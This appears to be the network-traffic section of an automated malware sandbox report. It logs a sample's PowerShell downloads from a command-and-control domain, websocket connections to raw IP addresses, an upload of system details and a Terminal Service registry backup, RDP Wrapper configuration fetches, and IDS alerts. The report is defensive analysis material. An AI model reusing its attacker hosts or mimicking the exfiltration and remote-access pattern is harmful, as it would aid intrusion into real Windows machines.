            Source: global trafficHTTP traffic detected: GET /api/check HTTP/1.1Host: uyt1n8ded9fb380.comConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /client/ws HTTP/1.1Host: 23.88.71.29:8000Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: suzDaQlzTUCzGv/qpLMcog==Sec-WebSocket-Version: 13
            Source: global trafficHTTP traffic detected: GET /client/ws HTTP/1.1Host: 206.206.126.252:8008Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: QdmR4Vi4BEW4Nu7zIHOuLA==Sec-WebSocket-Version: 13
            Source: global trafficHTTP traffic detected: GET /client/ws HTTP/1.1Host: 23.88.71.29:8000Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: MYAFAhyHwkaySR2LTI4Mfg==Sec-WebSocket-Version: 13
            Source: global trafficHTTP traffic detected: GET /client/ws HTTP/1.1Host: 206.206.126.252:8008Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: BlG0DT+PmEmsQvn//8sKNA==Sec-WebSocket-Version: 13
            Source: global trafficHTTP traffic detected: POST /api/registry HTTP/1.1Host: 206.206.126.252:8008Connection: Keep-AliveContent-Type: application/jsonContent-Length: 102Data Raw: 22 36 33 30 31 33 33 37 32 46 36 35 37 35 41 39 44 34 45 41 32 39 43 42 36 30 38 37 39 38 45 44 39 7c 4d 69 63 72 6f 73 6f 66 74 20 57 69 6e 64 6f 77 73 20 31 30 20 50 72 6f 7c 31 30 2e 30 2e 31 39 30 34 32 20 4e 2f 41 20 42 75 69 6c 64 20 31 39 30 34 32 2d 31 30 2e 30 2e 31 39 30 34 31 2e 31 30 38 31 22 Data Ascii: "63013372F6575A9D4EA29CB608798ED9|Microsoft Windows 10 Pro|10.0.19042 N/A Build 19042-10.0.19041.1081"
            Source: global trafficHTTP traffic detected: POST /api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757 HTTP/1.1Host: 206.206.126.252:8008Connection: Keep-AliveContent-Type: multipart/form-data; boundary=---------------------8dcffb647f026b9Content-Length: 5689Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 66 66 62 36 34 37 66 30 32 36 62 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 72 65 67 42 61 63 6b 75 70 2e 72 65 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff fe 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 20 00 45 00 64 00 69 00 74 00 6f 00 72 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 35 00 2e 00 30 00 30 00 0d 00 0a 00 0d 00 0a 00 5b 00 48 00 4b 00 45 00 59 00 5f 00 4c 00 4f 00 43 00 41 00 4c 00 5f 00 4d 00 41 00 43 00 48 00 49 00 4e 00 45 00 5c 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 73 00 5c 00 54 00 65 00 72 00 6d 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 5d 00 0d 00 0a 00 22 00 44 00 65 00 70 00 65 00 6e 00 64 00 4f 00 6e 00 53 00 65 00 72 00 76 00 69 00 63 00 65 00 22 00 3d 00 68 00 65 00 78 00 28 00 37 00 29 00 3a 00 35 00 32 00 2c 00 30 00 30 00 2c 00 35 00 30 00 2c 00 30 00 30 00 2c 00 34 00 33 00 2c 00 30 00 30 00 2c 00 35 00 33 00 2c 00 30 00 30 00 2c 00 35 00 33 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 0d 00 0a 00 22 00 44 00 65 00 73 00 63 00 72 00 69 00 70 00 74 00 69 00 6f 00 6e 00 22 00 3d 00 22 00 40 00 25 00 53 00 79 00 73 00 74 00 65 00 6d 00 52 00 6f 00 6f 00 74 00 25 00 5c 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 5c 00 74 00 65 00 72 00 6d 00 73 00 72 00 76 00 2e 00 64 00 6c 00 6c 00 2c 00 2d 00 32 00 36 00 37 00 22 00 0d 00 0a 00 22 00 44 00 69 00 73 00 70 00 6c 00 61 00 79 00 4e 00 61 00 6d 00 65 00 22 00 3d 00 22 00 40 00 25 00 53 00 79 00 73 00 74 00 65 00 6d 00 52 00 6f 00 6f 00 74 00 25 00 5c 00 5c 00 53 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 5c 00 74 00 65 00 72 00 6d 00 73 00 72 00 76 00 2e 00 64 00 6c 00 6c 00 2c 00 2d 00 32 00 36 00 38 00 22 00 0d 00 0a 00 22 00 45 00 72 00 72 00 6f 00 72 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 22 00 3d 00 64 00 77 00 6f 00 72 00 64 00 3a 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 31 00 0d 00 0a 00 22 00 46 00 61 00 69 00 6c 00 75 00 72 00 65 00 41 00 63 00 74 00 69 00 6f 00 6e 00 73 00 22 00 3d 00 68 00 65 00 78 00 3a 00 38 00 30 00 2c 00 35 00 31 00 2c 00 30 00 31 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 30 00 2c 00 30 00 33
            Source: Joe Sandbox ViewIP Address: 104.21.86.219 104.21.86.219
            Source: Joe Sandbox ViewIP Address: 206.206.126.252 206.206.126.252
            Source: Joe Sandbox ViewASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
            Source: Joe Sandbox ViewJA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
            Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
            Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:49713 -> 104.21.86.219:443
            Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:49709 -> 104.21.86.219:443
            Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:49711 -> 104.21.86.219:443
            Source: Network trafficSuricata IDS: 2803274 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UH : 192.168.11.20:49729 -> 104.21.86.219:443
            Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49734 -> 104.21.86.219:443
            Source: Network trafficSuricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.11.20:49740 -> 104.21.86.219:443
            Source: global trafficHTTP traffic detected: GET /0D0D HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.comConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /file3/dd472caab8e99b4f3ecbbaed5468be96d4b65113c81a5ba828b859d3431071726be1ca9ca9b8a78d6914ddb868a9fcfdb6cd1ebb9981f9eea6fbb2ea280217e3a6b2dab9077cc67d4c6d442dfb381b418ef92deb8cc853e7799306c91091f2a7/Windows%20Defender/16/16/user/203 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.com
            Source: global trafficHTTP traffic detected: POST /d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c3211858bdbbe78fe8056a5c18be2255745218 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.comContent-Length: 308
            Source: global trafficHTTP traffic detected: GET /file2/4016291bd0b568a2329d057f2773c3f0dcf11b755849528166abe12488d80aa4034fd591bfe7dd32ecb8a137c16c026582801b95576e1c2084e6959732a404501b50ac9aef9d7354723a5ffad069d406ce5a05956815ccb644fb6ca0316eee53587c55ce250be8a356c20de6996f2ded HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.com
            Source: global trafficHTTP traffic detected: POST /d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c32118357cd045bdae8de7ee724b9e2a608322 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.comContent-Length: 308
            Source: global trafficHTTP traffic detected: GET /file2/fe7793a4d4f50afb2b9eff7b92c52fd9fbe576bd3354e4af2684905ca7d26a166429c6fece289833d57783951e1e6db60aca7e71434758378db22fd4758e6668f63387db7199d491aae1f8ddb456e952aa5601d1d9ffaa2cd5e060246b5b1b53860a9c49a715a2bf6b16f4760ce34712 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.com
            Source: global trafficHTTP traffic detected: POST /d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c32118e709431fe4b02fc12aa8629a8bc5b99f HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.comContent-Length: 85
            Source: global trafficHTTP traffic detected: POST /d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c32118e709431fe4b02fc12aa8629a8bc5b99f HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.comContent-Length: 86
            Source: global trafficHTTP traffic detected: GET /file2/609d9cea234e5378795585296b27efeeddf7175dbfe1b91fa9a42e14acce5033e0e1934ebcffa5cc2f1737147d5cdc4948badf137af64757f80a41688f82bbe55abec0841ae8bcc07bb790a5a03b9315f9977abd1f45c72356f72a48246b6ba9263f067acef79a880a2413280b6f5f51 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.comConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: POST /d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c32118e709431fe4b02fc12aa8629a8bc5b99f HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.comContent-Length: 62
            Source: global trafficHTTP traffic detected: GET /file2/92075dc9dc4a975a949cf44381ad6b239ec18149b0f56e36602cd36ff3b9b3a1995f586e0506664f82bb18e37c1b05bcebce79d9c16c6ef2f156bfb332cf89756f9d3e8fc8833cb1a4c6ace01541c600bb468dea789dd436ea70d9b56c3a79651381caa20746619bba6cf262e2041689 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.comConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: POST /d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c321182403637af315a7aa49b6c9d16b620db3 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.comContent-Length: 140
            Source: global trafficHTTP traffic detected: POST /d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c321182403637af315a7aa49b6c9d16b620db3 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.comContent-Length: 69
            Source: global trafficHTTP traffic detected: GET /file2/30bb492ec87899a2b4a8fa5c9eeec469d06c3bafc30e181eba243fc24b84241f385aec2e85572485a859fdb0add8f2a973ec65b476e5b0902159ffd06c8a39b82c15688f51d937ccc3716ff2ce0f23195a045a51caa261a117a1c0bf38c036fb HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.com
            Source: global trafficHTTP traffic detected: POST /d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c321182403637af315a7aa49b6c9d16b620db3 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.comContent-Length: 200
            Source: global trafficHTTP traffic detected: POST /d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c321182403637af315a7aa49b6c9d16b620db3 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.comContent-Length: 97
            Source: global trafficHTTP traffic detected: POST /d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c321182403637af315a7aa49b6c9d16b620db3 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.comContent-Length: 64
            Source: unknownTCP traffic detected without corresponding DNS query: 23.88.71.29
            Source: unknownTCP traffic detected without corresponding DNS query: 23.88.71.29
            Source: unknownTCP traffic detected without corresponding DNS query: 23.88.71.29
            Source: unknownTCP traffic detected without corresponding DNS query: 23.88.71.29
            Source: unknownTCP traffic detected without corresponding DNS query: 23.88.71.29
            Source: unknownTCP traffic detected without corresponding DNS query: 23.88.71.29
            Source: unknownTCP traffic detected without corresponding DNS query: 23.88.71.29
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 23.88.71.29
            Source: unknownTCP traffic detected without corresponding DNS query: 23.88.71.29
            Source: unknownTCP traffic detected without corresponding DNS query: 23.88.71.29
            Source: unknownTCP traffic detected without corresponding DNS query: 23.88.71.29
            Source: unknownTCP traffic detected without corresponding DNS query: 23.88.71.29
            Source: unknownTCP traffic detected without corresponding DNS query: 23.88.71.29
            Source: unknownTCP traffic detected without corresponding DNS query: 23.88.71.29
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownTCP traffic detected without corresponding DNS query: 206.206.126.252
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
            Source: global trafficHTTP traffic detected: GET /0D0D HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.comConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /file3/dd472caab8e99b4f3ecbbaed5468be96d4b65113c81a5ba828b859d3431071726be1ca9ca9b8a78d6914ddb868a9fcfdb6cd1ebb9981f9eea6fbb2ea280217e3a6b2dab9077cc67d4c6d442dfb381b418ef92deb8cc853e7799306c91091f2a7/Windows%20Defender/16/16/user/203 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.com
            Source: global trafficHTTP traffic detected: GET /file2/4016291bd0b568a2329d057f2773c3f0dcf11b755849528166abe12488d80aa4034fd591bfe7dd32ecb8a137c16c026582801b95576e1c2084e6959732a404501b50ac9aef9d7354723a5ffad069d406ce5a05956815ccb644fb6ca0316eee53587c55ce250be8a356c20de6996f2ded HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.com
            Source: global trafficHTTP traffic detected: GET /file2/fe7793a4d4f50afb2b9eff7b92c52fd9fbe576bd3354e4af2684905ca7d26a166429c6fece289833d57783951e1e6db60aca7e71434758378db22fd4758e6668f63387db7199d491aae1f8ddb456e952aa5601d1d9ffaa2cd5e060246b5b1b53860a9c49a715a2bf6b16f4760ce34712 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.com
            Source: global trafficHTTP traffic detected: GET /file2/609d9cea234e5378795585296b27efeeddf7175dbfe1b91fa9a42e14acce5033e0e1934ebcffa5cc2f1737147d5cdc4948badf137af64757f80a41688f82bbe55abec0841ae8bcc07bb790a5a03b9315f9977abd1f45c72356f72a48246b6ba9263f067acef79a880a2413280b6f5f51 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.comConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /file2/92075dc9dc4a975a949cf44381ad6b239ec18149b0f56e36602cd36ff3b9b3a1995f586e0506664f82bb18e37c1b05bcebce79d9c16c6ef2f156bfb332cf89756f9d3e8fc8833cb1a4c6ace01541c600bb468dea789dd436ea70d9b56c3a79651381caa20746619bba6cf262e2041689 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.comConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /file2/30bb492ec87899a2b4a8fa5c9eeec469d06c3bafc30e181eba243fc24b84241f385aec2e85572485a859fdb0add8f2a973ec65b476e5b0902159ffd06c8a39b82c15688f51d937ccc3716ff2ce0f23195a045a51caa261a117a1c0bf38c036fb HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.com
            Source: global trafficHTTP traffic detected: GET /StaticFile/RdpService/52 HTTP/1.1Host: uyt1n8ded9fb380.com
            Source: global trafficHTTP traffic detected: GET /StaticFile/TermServiceTryRun/89 HTTP/1.1Host: uyt1n8ded9fb380.com
            Source: global trafficHTTP traffic detected: GET /sebaxakerhtc/rdpwrap.ini/master/rdpwrap.ini HTTP/1.1User-Agent: RDP Wrapper UpdateHost: raw.githubusercontent.comCache-Control: no-cache
            Source: global trafficHTTP traffic detected: GET /sebaxakerhtc/rdpwrap.ini/master/rdpwrap.ini HTTP/1.1User-Agent: RDP Wrapper UpdateHost: raw.githubusercontent.comCache-Control: no-cache
            Source: global trafficHTTP traffic detected: GET /api/check HTTP/1.1Host: uyt1n8ded9fb380.comConnection: Keep-Alive
            Source: global trafficHTTP traffic detected: GET /client/ws HTTP/1.1Host: 23.88.71.29:8000Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: suzDaQlzTUCzGv/qpLMcog==Sec-WebSocket-Version: 13
            Source: global trafficHTTP traffic detected: GET /client/ws HTTP/1.1Host: 206.206.126.252:8008Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: QdmR4Vi4BEW4Nu7zIHOuLA==Sec-WebSocket-Version: 13
            Source: global trafficHTTP traffic detected: GET /client/ws HTTP/1.1Host: 23.88.71.29:8000Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: MYAFAhyHwkaySR2LTI4Mfg==Sec-WebSocket-Version: 13
            Source: global trafficHTTP traffic detected: GET /client/ws HTTP/1.1Host: 206.206.126.252:8008Connection: UpgradeUpgrade: websocketSec-WebSocket-Key: BlG0DT+PmEmsQvn//8sKNA==Sec-WebSocket-Version: 13
            Source: global trafficDNS traffic detected: DNS query: uyt1n8ded9fb380.com
            Source: global trafficDNS traffic detected: DNS query: raw.githubusercontent.com
            Source: unknownHTTP traffic detected: POST /d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c3211858bdbbe78fe8056a5c18be2255745218 HTTP/1.1Content-Type: application/jsonUser-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151Host: uyt1n8ded9fb380.comContent-Length: 308
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateUpgrade: websocketContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/8.5cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KNHm1qf7anvQ%2BtLw9MGegU8tNxE1I%2BaiqabHGP6wil%2B1fRFam%2BG909tYlVczWISB0X8YfzcIGzcRvPSADbynvi6e%2FqmQ5Bq%2BNQUnUDSjtTqxbjp6SVbr2E7%2FyNMQeEakQOR%2Fa7eG9hXA"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}CF-RAY: 8df4e0eb1e15382e-FRAalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=7032&sent=1063&recv=528&lost=0&retrans=0&sent_bytes=923255&recv_bytes=49924&delivery_rate=1547703&cwnd=234&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"X-Powered-By: ARR/3.0Date: Fri, 08 Nov 2024 10:28:51 GMTContent-Length: 4852Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 31 30 2e 30 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 7b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 30 30 36 36 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 31 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 2e 63 6f 6e 66 69 67 5f 73 6f 75 72 63 65 20 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 65 6d 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>IIS 10.0 Detailed Error - 404.0 - Not Found</title> <style type="text/css"> <!-- body{margin:0;font-size:.7em;font-family:Verdana,Arial,Helvetica,sans-serif;} code{margin:0;color:#006600;font-size:1.1em;font-weight:bold;} .config_source code{font-size:.8em;color:#000000;}
            Source: global trafficHTTP traffic detected: HTTP/1.1 404 Not FoundCache-Control: privateUpgrade: websocketContent-Type: text/html; charset=utf-8Server: Microsoft-IIS/10.0cf-cache-status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mR7FbDf0CHlOaGtBcUIetJytOWsAnjG5kG9GaK9Sv3k9MVv9G3Pvwj4XLhsDUkePwFNONs%2FtrLOLAfps8MXFoknxJj7tPFHTPBtfw65zEGoD8PTn47anOvArNWmkQKYjS7c%2BbJaoDa76"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}CF-RAY: 8df4e0fedf3d4030-SINalt-svc: h3=":443"; ma=86400server-timing: cfL4;desc="?proto=TCP&rtt=2327&sent=2036&recv=1351&lost=0&retrans=0&sent_bytes=1684897&recv_bytes=182077&delivery_rate=7310443&cwnd=256&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"X-Powered-By: ARR/3.0Date: Fri, 08 Nov 2024 10:28:54 GMTContent-Length: 4852Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 20 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 20 0a 3c 68 65 61 64 3e 20 0a 3c 74 69 74 6c 65 3e 49 49 53 20 31 30 2e 30 20 44 65 74 61 69 6c 65 64 20 45 72 72 6f 72 20 2d 20 34 30 34 2e 30 20 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 20 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 20 0a 3c 21 2d 2d 20 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 41 72 69 61 6c 2c 48 65 6c 76 65 74 69 63 61 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 0a 63 6f 64 65 7b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 30 30 36 36 30 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 31 65 6d 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 7d 20 0a 2e 63 6f 6e 66 69 67 5f 73 6f 75 72 63 65 20 63 6f 64 65 7b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 38 65 6d 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0a 70 72 